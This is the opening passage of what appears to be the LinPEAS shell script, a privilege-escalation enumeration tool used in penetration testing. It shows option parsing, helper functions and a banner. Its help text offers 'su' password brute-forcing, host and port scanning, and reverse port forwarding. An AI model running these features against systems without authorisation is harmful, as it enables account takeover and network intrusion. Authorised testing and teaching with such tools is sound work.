$DISCOVER_BAN_GOOD, $SCAN_BAN_GOOD, $NMAP_GOOD, $SCRIPTNAME, $FOUND_BASH, $FOUND_NC, $HOMESEARCH, $GREPHOMESEARCH, $SCAN_BAN_BAD, $HOME, $THREADS, $opt, $HELP, $USER, $TOTAL_T1_TIME, $END_T1_TIME, $START_T1_TIME, $title, $title_len, $max_title_len, $rest_len, $CONT_THREADS, $wgroups, $SEDOVERFLOW, $Wfolders, $Wfolder, $grp, $END_T2_TIME, $TOTAL_T2_TIME, $START_T2_TIME, $_mitre_tag, $_mitre_filter, $_mitre_base, $_mitre_tags_left, $_mitre_filters_left\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\n#!/bin/sh\n\nVERSION=\"ng\"\nADVISORY=\"This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.\"\n\n###########################################\n#-------) Checks pre-everything (---------#\n###########################################\nif ([ -f /usr/bin/id ] && [ \"$(/usr/bin/id -u)\" -eq \"0\" ]) || [ \"`whoami 2>/dev/null`\" = \"root\" ]; then\n  IAMROOT=\"1\"\n  MAXPATH_FIND_W=\"3\"\nelse\n  IAMROOT=\"\"\n  MAXPATH_FIND_W=\"7\"\nfi\n\n\n\n###########################################\n#---------------) Colors (----------------#\n###########################################\n\nC=$(printf '\\033')\nRED=\"${C}[1;31m\"\nSED_RED=\"${C}[1;31m&${C}[0m\"\nGREEN=\"${C}[1;32m\"\nSED_GREEN=\"${C}[1;32m&${C}[0m\"\nYELLOW=\"${C}[1;33m\"\nSED_YELLOW=\"${C}[1;33m&${C}[0m\"\nRED_YELLOW=\"${C}[1;31;103m\"\nSED_RED_YELLOW=\"${C}[1;31;103m&${C}[0m\"\nBLUE=\"${C}[1;34m\"\nSED_BLUE=\"${C}[1;34m&${C}[0m\"\nITALIC_BLUE=\"${C}[1;34m${C}[3m\"\nLIGHT_MAGENTA=\"${C}[1;95m\"\nSED_LIGHT_MAGENTA=\"${C}[1;95m&${C}[0m\"\nLIGHT_CYAN=\"${C}[1;96m\"\nSED_LIGHT_CYAN=\"${C}[1;96m&${C}[0m\"\nLG=\"${C}[1;37m\" #LightGray\nSED_LG=\"${C}[1;37m&${C}[0m\"\nDG=\"${C}[1;90m\" #DarkGray\nSED_DG=\"${C}[1;90m&${C}[0m\"\nNC=\"${C}[0m\"\nUNDERLINED=\"${C}[5m\"\nITALIC=\"${C}[3m\"\n\n\n###########################################\n#---------) Parsing parameters (----------#\n###########################################\n# --) FAST - Do not check 1min of procceses and su brute\n# --) SUPERFAST - FAST & do not search for special filaes in all the folders\n\nif uname 2>/dev/null | grep -q 'Darwin' || /usr/bin/uname 2>/dev/null | grep -q 'Darwin'; then MACPEAS=\"1\"; else MACPEAS=\"\"; fi\nFAST=\"1\" #By default stealth/fast mode\nSUPERFAST=\"\"\nDISCOVERY=\"\"\nPORTS=\"\"\nQUIET=\"\"\nCHECKS=\"peass{CHECKS}\"\nMITRE_FILTER=\"\"\nSEARCH_IN_FOLDER=\"\"\nROOT_FOLDER=\"/\"\nWAIT=\"\"\nPASSWORD=\"\"\nNOCOLOR=\"\"\nDEBUG=\"\"\nAUTO_NETWORK_SCAN=\"\"\nEXTRA_CHECKS=\"\"\nREGEXES=\"\"\nPORT_FORWARD=\"\"\nNOT_CHECK_EXTERNAL_HOSTNAME=\"\"\nTHREADS=\"$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d \"\\n\")\"\n[ \"$THREADS\" -eq \"$THREADS\" ] 2>/dev/null && : || THREADS=\"2\" #If THREADS is not a number, put number 2\n[ \"$THREADS\" -lt 1 ] 2>/dev/null && THREADS=\"2\" #If THREADS is 0 or negative, put number 2 (avoids division-by-zero in eval_bckgrd)\nHELP=$GREEN\"Enumerate and search Privilege Escalation vectors.\n${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors.\n      ${GREEN}  Checks:\n        ${YELLOW}    -a${BLUE} Perform all checks: 1 min of processes, su brute, and extra checks.\n        ${YELLOW}    -o${BLUE} Only execute selected checks (peass{CHECKS}). Select a comma separated list.\n        ${YELLOW}    -T${BLUE} Only execute checks matching the specified MITRE ATT&CK technique(s).$DG Ex: -T T1057,T1082$BLUE\n        ${YELLOW}    -s${BLUE} Stealth & faster (don't check some time consuming checks)\n        ${YELLOW}    -e${BLUE} Perform extra enumeration\n        ${YELLOW}    -r${BLUE} Enable Regexes (this can take from some mins to hours)\n        ${YELLOW}    -P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'\n        ${YELLOW}    -n${BLUE} Do not check hostname & IP in known malicious lists and leaks\n\t${YELLOW}    -D${BLUE} Debug mode\n\n      ${GREEN}  Network recon:\n        ${YELLOW}    -t${BLUE} Automatic network scan - This option writes to files\n\t${YELLOW}    -d <IP/NETMASK>${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24\n        ${YELLOW}    -p <PORT(s)> -d <IP/NETMASK>${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139\n        ${YELLOW}    -i <IP> [-p <PORT(s)>]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080\n        $GREEN     Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed\n\n      ${GREEN}  Port forwarding (reverse connection):\n        ${YELLOW}    -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT${BLUE} Execute linpeas to forward a port from a your host (LOCAL_IP:LOCAL_PORT) to a remote IP (REMOTE_IP:REMOTE_PORT)\n\n      ${GREEN}  Firmware recon:\n        ${YELLOW}    -f </FOLDER/PATH>${BLUE} Execute linpeas to search passwords/file permissions misconfigs inside a folder\n\n      ${GREEN}  Misc:\n        ${YELLOW}    -h${BLUE} To show this message\n\t${YELLOW}    -w${BLUE} Wait execution between big blocks of checks\n        ${YELLOW}    -L${BLUE} Force linpeas execution\n        ${YELLOW}    -M${BLUE} Force macpeas execution\n\t${YELLOW}    -q${BLUE} Do not show banner\n        ${YELLOW}    -N${BLUE} Do not use colours\n        ${YELLOW}    -z <N>${BLUE} Set number of threads for background checks (default: auto-detected CPU count, fallback: 2; must be >= 1)$NC\"\n\nwhile getopts \":h?asd:p:i:P:qo:T:LMwNDterf:F:z:\" opt; do\n  case \"$opt\" in\n    h|\\?) printf \"%s\\n\\n\" \"$HELP$NC\"; exit 0;;\n    a)  FAST=\"\";EXTRA_CHECKS=\"1\";;\n    s)  SUPERFAST=1;;\n    d)  DISCOVERY=$OPTARG;;\n    p)  PORTS=$OPTARG;;\n    i)  IP=$OPTARG;;\n    P)  PASSWORD=$OPTARG;;\n    n)  NOT_CHECK_EXTERNAL_HOSTNAME=\"1\";;\n    q)  QUIET=1;;\n    o)  CHECKS=$OPTARG;;\n    T)  MITRE_FILTER=$OPTARG;;\n    L)  MACPEAS=\"\";;\n    M)  MACPEAS=\"1\";;\n    w)  WAIT=1;;\n    N)  NOCOLOR=\"1\";;\n    D)  DEBUG=\"1\";;\n    t)  AUTO_NETWORK_SCAN=\"1\";;\n    e)  EXTRA_CHECKS=\"1\";;\n    r)  REGEXES=\"1\";;\n    f)  SEARCH_IN_FOLDER=$OPTARG;\n    \tif ! [ \"$(echo -n $SEARCH_IN_FOLDER | tail -c 1)\" = \"/\" ]; then #Make sure firmware folder ends with \"/\"\n        SEARCH_IN_FOLDER=\"${SEARCH_IN_FOLDER}/\";\n      fi;\n          ROOT_FOLDER=$SEARCH_IN_FOLDER;\n      REGEXES=\"1\";\n\t    CHECKS=\"procs_crons_timers_srvcs_sockets,software_information,interesting_perms_files,interesting_files,api_keys_regex\";;\n\n    F)  PORT_FORWARD=$OPTARG;;\n    z)  if [ \"$OPTARG\" -eq \"$OPTARG\" ] 2>/dev/null && [ \"$OPTARG\" -ge 1 ] 2>/dev/null; then THREADS=$OPTARG; else echo \"WARNING: -z requires an integer >= 1, ignoring.\" >&2; fi;;\n    :)  echo \"ERROR: -$OPTARG requires an argument (e.g. -T T1082,T1552)\" >&2; printf \"%s\\n\\n\" \"$HELP$NC\"; exit 1;;\n    *)  echo \"ERROR: Unknown option -$OPTARG\" >&2; printf \"%s\\n\\n\" \"$HELP$NC\"; exit 1;;\n    esac\ndone\n\nif [ \"$MACPEAS\" ]; then SCRIPTNAME=\"MacPEAS\"; else SCRIPTNAME=\"LinPEAS\"; fi\nif [ \"$NOCOLOR\" ]; then\n  C=\"\"\n  RED=\"\"\n  SED_RED=\"&\"\n  GREEN=\"\"\n  SED_GREEN=\"&\"\n  YELLOW=\"\"\n  SED_YELLOW=\"&\"\n  SED_RED_YELLOW=\"&\"\n  BLUE=\"\"\n  SED_BLUE=\"&\"\n  ITALIC_BLUE=\"\"\n  LIGHT_MAGENTA=\"\"\n  SED_LIGHT_MAGENTA=\"&\"\n  LIGHT_CYAN=\"\"\n  SED_LIGHT_CYAN=\"&\"\n  LG=\"\"\n  SED_LG=\"&\"\n  DG=\"\"\n  SED_DG=\"&\"\n  NC=\"\"\n  UNDERLINED=\"\"\n  ITALIC=\"\"\nfi\n\n# test if sed supports -E or -r\nE=E\necho | sed -${E} 's/o/a/' 2>/dev/null\nif [ $? -ne 0 ] ; then\n\techo | sed -r 's/o/a/' 2>/dev/null\n\tif [ $? -eq 0 ] ; then\n\t\tE=r\n\telse\n\t\techo \"${YELLOW}WARNING: No suitable option found for extended regex with sed. Continuing but the results might be unreliable.${NC}\"\n\tfi\nfi\n\n# on macOS the built-in echo does not support -n, use /bin/echo instead\nif [ \"$MACPEAS\" ] ; then alias echo=/bin/echo ; fi\n\nprint_title(){\n  if [ \"$DEBUG\" ]; then\n    END_T1_TIME=$(date +%s 2>/dev/null)\n    if [ \"$START_T1_TIME\" ]; then\n      TOTAL_T1_TIME=$(($END_T1_TIME - $START_T1_TIME))\n      printf $DG\"This check took $TOTAL_T1_TIME seconds\\n\"$NC\n    fi\n\n    END_T1_TIME=$(date +%s 2>/dev/null)\n    if [ \"$START_T1_TIME\" ]; then\n      TOTAL_T1_TIME=$(($END_T1_TIME - $START_T1_TIME))\n      printf $DG\"The total section execution took $TOTAL_T1_TIME seconds\\n\"$NC\n      echo \"\"\n    fi\n\n    START_T1_TIME=$(date +%s 2>/dev/null)\n  fi\n\n  title=$1\n  title_len=$(echo $title | wc -c)\n  max_title_len=80\n  rest_len=$((($max_title_len - $title_len) / 2))\n\n  printf \"%s\" \"${BLUE}\"\n  for i in $(seq 1 $rest_len); do printf \" \"; done\n  printf \"╔\"\n  for i in $(seq 1 $title_len); do printf \"═\"; done; printf \"═\";\n  printf \"╗\"\n\n  echo \"\"\n\n  for i in $(seq 1 $rest_len); do printf \"═\"; done\n  printf \"╣ $GREEN${title}${BLUE} ╠\"\n  for i in $(seq 1 $rest_len); do printf \"═\"; done\n\n  echo \"\"\n\n  printf \"%s\" \"${BLUE}\"\n  for i in $(seq 1 $rest_len); do printf \" \"; done\n  printf \"╚\"\n  for i in $(seq 1 $title_len); do printf \"═\"; done; printf \"═\";\n  printf \"╝\"\n\n  printf \"%s\" \"${NC}\"\n  echo \"\"\n}\n\ncheck_mitre_filter(){\n  # $1 = comma-separated MITRE technique IDs for this check (e.g. \"T1082,T1548.003\")\n  # Returns 0 (run the check) when no filter is active OR when at least one ID matches.\n  # Parent filters match child techniques (e.g. T1552 matches T1552.001),\n  # but a child filter must not match a parent-only tag.\n  # Uses pure parameter-expansion loops — no subprocess forks, POSIX-compliant.\n  [ -z \"$MITRE_FILTER\" ] && return 0\n  _mitre_tags_left=\"$1,\"\n  while [ -n \"$_mitre_tags_left\" ]; do\n    _mitre_tag=\"${_mitre_tags_left%%,*}\"\n    _mitre_tags_left=\"${_mitre_tags_left#*,}\"\n    _mitre_base=${_mitre_tag%%.*}\n    _mitre_filters_left=\"$MITRE_FILTER,\"\n    while [ -n \"$_mitre_filters_left\" ]; do\n      _mitre_filter=\"${_mitre_filters_left%%,*}\"\n      _mitre_filters_left=\"${_mitre_filters_left#*,}\"\n      [ \"$_mitre_filter\" = \"$_mitre_tag\" ] && return 0\n      [ \"$_mitre_filter\" = \"$_mitre_base\" ] && return 0\n    done\n  done\n  return 1\n}\n\nprint_2title(){\n  if [ \"$DEBUG\" ]; then\n    END_T2_TIME=$(date +%s 2>/dev/null)\n    if [ \"$START_T2_TIME\" ]; then\n      TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME))\n      printf $DG\"This check took $TOTAL_T2_TIME seconds\\n\"$NC\n      echo \"\"\n    fi\n\n    START_T2_TIME=$(date +%s 2>/dev/null)\n  fi\n\n  if [ -n \"$2\" ]; then\n    printf ${BLUE}\"╔══════════╣ $GREEN$1 ${DG}($2)\\n\"$NC #There are 10 \"═\"\n  else\n    printf ${BLUE}\"╔══════════╣ $GREEN$1\\n\"$NC #There are 10 \"═\"\n  fi\n}\n\nprint_3title(){\n  if [ -n \"$2\" ]; then\n    printf ${BLUE}\"══╣ $GREEN$1 ${DG}($2)\\n\"$NC #There are 2 \"═\"\n  else\n    printf ${BLUE}\"══╣ $GREEN$1\\n\"$NC #There are 2 \"═\"\n  fi\n}\n\nprint_3title_no_nl(){\n  printf \"\\033[2K\\r\"\n  printf ${BLUE}\"══╣ $GREEN${1}...\"$NC #There are 2 \"═\"\n}\n\neval_bckgrd(){\n  eval \"$1\" &\n  CONT_THREADS=$(($CONT_THREADS+1)); if [ \"$(($CONT_THREADS%$THREADS))\" -eq \"0\" ]; then wait; fi\n}\n\nprint_banner(){\n  if [ \"$MACPEAS\" ]; then\n    bash -c \"printf '                         \\e[38;5;238m▄\\e[38;5;233m▄\\e[38;5;235m▄\\e[38;5;65m▄\\e[48;5;239m\\e[38;5;107m▄\\e[48;5;234m\\e[38;5;71m▄\\e[48;5;233m\\e[38;5;71m▄\\e[48;5;232m\\e[38;5;71m▄\\e[48;5;0m\\e[38;5;71m▄\\e[48;5;232m\\e[38;5;71m▄\\e[48;5;232m\\e[38;5;71m▄\\e[48;5;233m\\e[38;5;71m▄\\e[48;5;233m\\e[38;5;71m▄\\e[48;5;235m\\e[38;5;71m▄\\e[48;5;240m\\e[38;5;65m▄\\e[0m\\e[38;5;237m▄\\e[38;5;234m▄\\e[38;5;233m▄\\e[38;5;232m▄\\e[38;5;239m▄\\e[0m\n                      \\e[38;5;233m▄\\e[38;5;246m▄\\e[48;5;234m\\e[38;5;71m▄\\e[48;5;237m\\e[38;5;71m▄\\e[48;5;71m    \\e[38;5;65m▄\\e[48;5;71m\\e[38;5;237m▄\\e[48;5;71m\\e[38;5;233m▄\\e[48;5;71m\\e[38;5;233m▄\\e[48;5;71m\\e[38;5;233m▄\\e[48;5;71m\\e[38;5;237m▄\\e[48;5;71m\\e[38;5;65m▄\\e[48;5;71m        \\e[48;5;65m\\e[38;5;71m▄\\e[48;5;235m\\e[38;5;71m▄\\e[48;5;235m\\e[38;5;71m▄\\e[0m\\e[38;5;237m▄\\e[38;5;234m▄\\e[0m\n                  \\e[38;5;245m▄\\e[38;5;233m▄\\e[48;5;233m\\e[38;5;71m▄\\e[48;5;239m\\e[38;5;71m▄\\e[48;5;71m  \\e[38;5;235m▄\\e[48;5;71m\\e[38;5;232m▄\\e[48;5;236m\\e[38;5;64m▄\\e[48;5;234m\\e[38;5;76m▄\\e[48;5;232m\\e[38;5;76m▄\\e[48;5;234m\\e[38;5;76m▄\\e[48;5;2m\\e[38;5;76m▄\\e[48;5;64m\\e[38;5;76m▄\\e[48;5;70m\\e[38;5;76m▄\\e[48;5;70m\\e[38;5;76m▄\\e[48;5;64m\\e[38;5;76m▄\\e[48;5;2m\\e[38;5;76m▄\\e[48;5;22m\\e[38;5;76m▄\\e[48;5;232m\\e[38;5;76m▄\\e[48;5;232m\\e[38;5;70m▄\\e[48;5;234m\\e[38;5;22m▄\\e[48;5;65m\\e[38;5;232m▄\\e[48;5;71m\\e[38;5;232m▄\\e[48;5;71m\\e[38;5;238m▄\\e[48;5;71m       \\e[48;5;237m\\e[38;5;71m▄\\e[48;5;236m\\e[38;5;71m▄\\e[0m\\e[38;5;234m▄\\e[38;5;238m▄\\e[0m\n               \\e[38;5;239m▄\\e[38;5;233m▄\\e[48;5;235m\\e[38;5;71m▄\\e[48;5;238m\\e[38;5;71m▄\\e[48;5;71m  \\e[38;5;0m▄\\e[48;5;236m\\e[38;5;2m▄\\e[48;5;232m\\e[38;5;76m▄\\e[48;5;70m\\e[38;5;76m▄\\e[48;5;76m \\e[38;5;70m▄\\e[48;5;76m\\e[38;5;64m▄\\e[48;5;76m\\e[38;5;2m▄\\e[48;5;76m\\e[38;5;22m▄\\e[48;5;76m\\e[38;5;22m▄\\e[48;5;76m\\e[38;5;22m▄\\e[48;5;76m\\e[38;5;2m▄\\e[48;5;76m\\e[38;5;2m▄\\e[48;5;76m\\e[38;5;64m▄\\e[48;5;76m\\e[38;5;70m▄\\e[48;5;76m      \\e[48;5;22m\\e[38;5;76m▄\\e[48;5;0m\\e[38;5;76m▄\\e[48;5;234m\\e[38;5;64m▄\\e[48;5;71m\\e[38;5;232m▄\\e[48;5;71m\\e[38;5;235m▄\\e[48;5;71m       \\e[48;5;234m\\e[38;5;71m▄\\e[48;5;234m\\e[38;5;71m▄\\e[0m\\e[38;5;234m▄\\e[38;5;233m▄\\e[0m\n            \\e[38;5;233m▄\\e[38;5;71m▄\\e[48;5;233m\\e[38;5;71m▄\\e[48;5;71m   \\e[38;5;235m▄\\e[48;5;65m\\e[38;5;235m▄\\e[48;5;0m\\e[38;5;255m▄\\e[48;5;22m\\e[38;5;15m▄\\e[48;5;235m\\e[38;5;15m▄\\e[48;5;242m\\e[38;5;15m▄\\e[48;5;249m\\e[38;5;15m▄\\e[48;5;254m\\e[38;5;15m▄\\e[48;5;15m         \\e[38;5;255m▄\\e[48;5;255m\\e[38;5;234m▄\\e[48;5;248m\\e[38;5;251m▄\\e[48;5;240m\\e[38;5;15m▄\\e[48;5;237m\\e[38;5;15m▄\\e[48;5;235m\\e[38;5;15m▄\\e[48;5;64m\\e[38;5;15m▄\\e[48;5;70m\\e[38;5;251m▄\\e[48;5;76m\\e[38;5;8m▄\\e[48;5;76m\\e[38;5;237m▄\\e[48;5;76m\\e[38;5;2m▄\\e[48;5;64m\\e[38;5;70m▄\\e[48;5;232m\\e[38;5;76m▄\\e[48;5;238m\\e[38;5;2m▄\\e[48;5;71m\\e[38;5;233m▄\\e[48;5;71m\\e[38;5;65m▄\\e[48;5;71m        \\e[48;5;237m\\e[38;5;71m▄\\e[0m\n         \\e[38;5;233m▄\\e[48;5;238m\\e[38;5;71m▄\\e[48;5;236m\\e[38;5;71m▄\\e[48;5;71m    \\e[38;5;65m▄\\e[48;5;238m\\e[38;5;234m▄\\e[48;5;235m\\e[38;5;255m▄\\e[48;5;15m             \\e[38;5;233m▄\\e[48;5;253m\\e[38;5;0m▄\\e[48;5;255m\\e[38;5;232m▄\\e[48;5;242m\\e[38;5;238m▄\\e[48;5;242m\\e[38;5;233m▄\\e[48;5;15m\\e[38;5;237m▄\\e[48;5;15m\\e[38;5;255m▄\\e[48;5;15m      \\e[48;5;255m\\e[38;5;15m▄\\e[48;5;145m\\e[38;5;15m▄\\e[48;5;237m\\e[38;5;15m▄\\e[48;5;22m\\e[38;5;255m▄\\e[48;5;70m\\e[38;5;248m▄\\e[48;5;234m\\e[38;5;235m▄\\e[48;5;234m\\e[38;5;233m▄\\e[48;5;71m\\e[38;5;0m▄\\e[48;5;71m\\e[38;5;238m▄\\e[48;5;71m      \\e[0m\n         \\e[48;5;71m      \\e[38;5;234m▄\\e[48;5;233m\\e[38;5;251m▄\\e[48;5;255m\\e[38;5;15m▄\\e[48;5;15m             \\e[48;5;243m\\e[38;5;235m▄\\e[48;5;0m     \\e[38;5;243m▄\\e[48;5;249m\\e[38;5;15m▄\\e[48;5;15m            \\e[48;5;255m\\e[38;5;15m▄\\e[48;5;249m\\e[38;5;15m▄\\e[48;5;235m\\e[38;5;15m▄\\e[48;5;232m\\e[38;5;15m▄\\e[48;5;235m\\e[38;5;145m▄\\e[48;5;71m\\e[38;5;0m▄\\e[48;5;71m\\e[38;5;232m▄\\e[48;5;71m\\e[38;5;233m▄\\e[48;5;71m\\e[38;5;237m▄\\e[0m\n         \\e[48;5;71m     \\e[48;5;65m\\e[38;5;232m▄\\e[48;5;241m\\e[38;5;15m▄\\e[48;5;15m               \\e[48;5;236m\\e[38;5;245m▄\\e[48;5;0m     \\e[48;5;247m\\e[38;5;232m▄\\e[48;5;15m                  \\e[48;5;247m\\e[38;5;15m▄\\e[48;5;236m\\e[38;5;235m▄\\e[48;5;236m \\e[48;5;237m\\e[38;5;236m▄\\e[0m\n         \\e[48;5;71m   \\e[38;5;238m▄\\e[48;5;234m\\e[38;5;243m▄\\e[48;5;253m\\e[38;5;15m▄\\e[48;5;15m                 \\e[48;5;0m\\e[38;5;7m▄\\e[48;5;0m\\e[38;5;239m▄\\e[48;5;0m\\e[38;5;102m▄\\e[48;5;0m\\e[38;5;234m▄\\e[48;5;0m\\e[38;5;232m▄\\e[48;5;0m\\e[38;5;252m▄\\e[48;5;255m\\e[38;5;15m▄\\e[48;5;15m                  \\e[48;5;239m\\e[38;5;7m▄\\e[48;5;236m\\e[38;5;235m▄\\e[48;5;236m \\e[0m\n         \\e[48;5;71m  \\e[38;5;236m▄\\e[48;5;234m\\e[38;5;250m▄\\e[48;5;15m  \\e[38;5;255m▄\\e[48;5;15m\\e[38;5;250m▄\\e[48;5;15m\\e[38;5;102m▄\\e[48;5;15m\\e[38;5;238m▄\\e[48;5;15m\\e[38;5;235m▄\\e[48;5;15m\\e[38;5;236m▄\\e[48;5;15m\\e[38;5;236m▄\\e[48;5;15m\\e[38;5;2m▄\\e[48;5;255m\\e[38;5;2m▄\\e[48;5;255m\\e[38;5;64m▄\\e[48;5;254m\\e[38;5;70m▄\\e[48;5;188m\\e[38;5;70m▄\\e[48;5;253m\\e[38;5;70m▄\\e[48;5;255m\\e[38;5;70m▄\\e[48;5;255m\\e[38;5;70m▄\\e[48;5;255m\\e[38;5;70m▄\\e[48;5;15m\\e[38;5;28m▄\\e[48;5;15m\\e[38;5;64m▄\\e[48;5;15m\\e[38;5;236m▄\\e[48;5;15m\\e[38;5;237m▄\\e[48;5;15m\\e[38;5;236m▄\\e[48;5;15m\\e[38;5;237m▄\\e[48;5;15m\\e[38;5;240m▄\\e[48;5;15m\\e[38;5;102m▄\\e[48;5;15m\\e[38;5;251m▄\\e[48;5;15m\\e[38;5;255m▄\\e[48;5;15m                \\e[48;5;255m\\e[38;5;15m▄\\e[48;5;234m\\e[38;5;235m▄\\e[48;5;236m \\e[0m\n         \\e[48;5;71m \\e[38;5;233m▄\\e[48;5;232m\\e[38;5;70m▄\\e[48;5;238m\\e[38;5;76m▄\\e[48;5;65m\\e[38;5;76m▄\\e[48;5;236m\\e[38;5;76m▄\\e[48;5;70m\\e[38;5;76m▄\\e[48;5;76m                       \\e[48;5;70m\\e[38;5;76m▄\\e[48;5;28m\\e[38;5;76m▄\\e[48;5;234m\\e[38;5;76m▄\\e[48;5;235m\\e[38;5;76m▄\\e[48;5;240m\\e[38;5;76m▄\\e[48;5;145m\\e[38;5;76m▄\\e[48;5;15m\\e[38;5;28m▄\\e[48;5;15m\\e[38;5;235m▄\\e[48;5;15m\\e[38;5;240m▄\\e[48;5;15m\\e[38;5;145m▄\\e[48;5;15m\\e[38;5;254m▄\\e[48;5;15m        \\e[48;5;242m\\e[38;5;251m▄\\e[48;5;236m\\e[38;5;235m▄\\e[0m\n         \\e[48;5;65m\\e[38;5;232m▄\\e[48;5;235m\\e[38;5;64m▄\\e[48;5;70m \\e[48;5;76m                                     \\e[48;5;2m\\e[38;5;76m▄\\e[48;5;234m\\e[38;5;76m▄\\e[48;5;242m\\e[38;5;76m▄\\e[48;5;254m\\e[38;5;64m▄\\e[48;5;15m\\e[38;5;234m▄\\e[48;5;15m\\e[38;5;243m▄\\e[48;5;15m\\e[38;5;253m▄\\e[48;5;15m  \\e[48;5;255m\\e[38;5;15m▄\\e[48;5;233m \\e[0m\n         \\e[48;5;232m \\e[48;5;237m \\e[48;5;70m \\e[48;5;76m        \\e[38;5;70m▄\\e[48;5;76m\\e[38;5;233m▄\\e[48;5;76m\\e[38;5;233m▄\\e[48;5;76m\\e[38;5;233m▄\\e[48;5;76m\\e[38;5;233m▄\\e[48;5;76m                 \\e[38;5;70m▄\\e[48;5;76m\\e[38;5;233m▄\\e[48;5;76m\\e[38;5;233m▄\\e[48;5;76m\\e[38;5;233m▄\\e[48;5;76m\\e[38;5;234m▄\\e[48;5;76m\\e[38;5;70m▄\\e[48;5;76m       \\e[48;5;28m\\e[38;5;76m▄\\e[48;5;235m\\e[38;5;76m▄\\e[48;5;102m\\e[38;5;236m▄\\e[48;5;250m\\e[38;5;235m▄\\e[48;5;233m\\e[38;5;232m▄\\e[0m\n         \\e[48;5;232m \\e[48;5;237m \\e[48;5;70m \\e[48;5;76m       \\e[48;5;70m\\e[38;5;76m▄\\e[48;5;64m\\e[38;5;76m▄\\e[48;5;76m\\e[38;5;64m▄\\e[48;5;76m\\e[38;5;233m▄\\e[48;5;233m\\e[38;5;76m▄\\e[48;5;22m\\e[38;5;76m▄\\e[48;5;76m                  \\e[48;5;22m\\e[38;5;76m▄\\e[48;5;233m\\e[38;5;76m▄\\e[48;5;76m\\e[38;5;233m▄\\e[48;5;76m\\e[38;5;70m▄\\e[48;5;28m\\e[38;5;76m▄\\e[48;5;76m        \\e[48;5;70m \\e[48;5;236m \\e[48;5;238m \\e[48;5;236m\\e[0m\n         \\e[48;5;232m\\e[38;5;236m▄\\e[48;5;236m\\e[38;5;233m▄\\e[48;5;64m \\e[48;5;76m        \\e[48;5;70m\\e[38;5;76m▄\\e[48;5;22m\\e[38;5;76m▄\\e[48;5;76m         \\e[38;5;64m▄\\e[48;5;76m\\e[38;5;0m▄\\e[48;5;76m\\e[38;5;232m▄\\e[48;5;76m\\e[38;5;232m▄\\e[48;5;76m\\e[38;5;0m▄\\e[48;5;76m\\e[38;5;70m▄\\e[48;5;76m         \\e[48;5;233m\\e[38;5;76m▄\\e[48;5;70m\\e[38;5;76m▄\\e[48;5;76m        \\e[48;5;64m \\e[48;5;236m \\e[38;5;235m▄\\e[0m\n         \\e[48;5;71m \\e[48;5;232m\\e[38;5;65m▄\\e[48;5;64m\\e[38;5;233m▄\\e[48;5;76m          \\e[38;5;107m▄\\e[48;5;77m\\e[38;5;107m▄\\e[48;5;77m\\e[38;5;107m▄\\e[48;5;77m\\e[38;5;107m▄\\e[48;5;76m\\e[38;5;77m▄\\e[48;5;76m     \\e[48;5;0m\\e[38;5;70m▄\\e[48;5;0m\\e[38;5;232m▄\\e[48;5;0m\\e[38;5;232m▄\\e[48;5;0m\\e[38;5;70m▄\\e[48;5;76m      \\e[38;5;77m▄\\e[48;5;76m\\e[38;5;107m▄\\e[48;5;76m\\e[38;5;107m▄\\e[48;5;76m\\e[38;5;107m▄\\e[48;5;76m\\e[38;5;77m▄\\e[48;5;76m        \\e[38;5;70m▄\\e[48;5;236m \\e[48;5;237m\\e[38;5;238m▄\\e[48;5;234m\\e[38;5;235m▄\\e[0m\n         \\e[48;5;71m  \\e[48;5;235m\\e[38;5;71m▄\\e[48;5;64m\\e[38;5;232m▄\\e[48;5;76m        \\e[48;5;77m\\e[38;5;76m▄\\e[48;5;107m\\e[38;5;77m▄\\e[48;5;107m  \\e[38;5;77m▄\\e[48;5;77m \\e[48;5;76m               \\e[48;5;107m\\e[38;5;77m▄\\e[48;5;107m   \\e[48;5;71m\\e[38;5;77m▄\\e[48;5;76m        \\e[48;5;64m \\e[48;5;236m\\e[38;5;237m▄\\e[48;5;237m\\e[38;5;234m▄\\e[0m\n         \\e[48;5;71m    \\e[48;5;232m\\e[38;5;239m▄\\e[48;5;76m\\e[38;5;232m▄\\e[48;5;76m                                       \\e[48;5;70m\\e[38;5;64m▄\\e[48;5;237m\\e[38;5;236m▄\\e[48;5;238m\\e[38;5;234m▄\\e[48;5;235m\\e[38;5;236m▄\\e[0m\n         \\e[48;5;71m     \\e[48;5;237m\\e[38;5;71m▄\\e[48;5;232m\\e[38;5;235m▄\\e[48;5;76m\\e[38;5;232m▄\\e[48;5;76m                                    \\e[48;5;70m\\e[38;5;236m▄\\e[48;5;236m \\e[48;5;237m\\e[38;5;234m▄\\e[48;5;235m\\e[38;5;236m▄\\e[0m\n         \\e[48;5;71m\\e[38;5;237m▄\\e[48;5;71m\\e[38;5;65m▄\\e[48;5;71m     \\e[48;5;236m\\e[38;5;71m▄\\e[48;5;232m\\e[38;5;65m▄\\e[48;5;70m\\e[38;5;0m▄\\e[48;5;76m\\e[38;5;22m▄\\e[48;5;76m                              \\e[38;5;22m▄\\e[48;5;76m\\e[38;5;232m▄\\e[48;5;70m\\e[38;5;236m▄\\e[48;5;236m\\e[38;5;235m▄\\e[48;5;235m\\e[38;5;238m▄\\e[48;5;235m\\e[38;5;238m▄\\e[48;5;235m\\e[38;5;238m▄\\e[48;5;235m\\e[38;5;238m▄\\e[48;5;236m\\e[38;5;235m▄\\e[48;5;236m\\e[38;5;233m▄\\e[0m\n           